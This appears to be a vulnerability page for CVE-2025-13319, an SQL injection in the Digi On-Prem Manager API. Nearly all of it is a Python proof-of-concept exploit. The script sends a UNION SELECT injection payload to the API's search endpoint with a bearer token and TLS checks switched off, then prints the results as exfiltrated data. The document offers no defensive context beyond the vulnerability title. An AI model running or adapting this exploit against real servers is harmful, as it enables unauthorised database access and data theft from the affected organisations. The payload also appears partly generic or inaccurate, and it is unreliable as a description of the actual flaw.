CVE-2025-13319 | Digi On-Prem Manager API SQL注入漏洞

import requests import json # CVE-2025-13319 PoC - SQL Injection in Digi On-Prem Manager API # Target: Digi On-Prem Manager with API enabled # Requirement: Valid API token TARGET_URL = "https://target-server/api/v1/" API_TOKEN = "your-valid-api-token-here" def exploit_sql_injection(): headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # SQL Injection payload - extract database version # Modify the 'query' parameter with malicious SQL payload = { "query": "1' UNION SELECT version(),user(),databases() -- " } try: response = requests.post( f"{TARGET_URL}search", headers=headers, json=payload, verify=False, timeout=30 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: # Try to extract sensitive data data = response.json() print(f"Exfiltrated Data: {json.dumps(data, indent=2)}") return True except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-13319 - Digi On-Prem Manager API SQL Injection") print("=" * 60) exploit_sql_injection()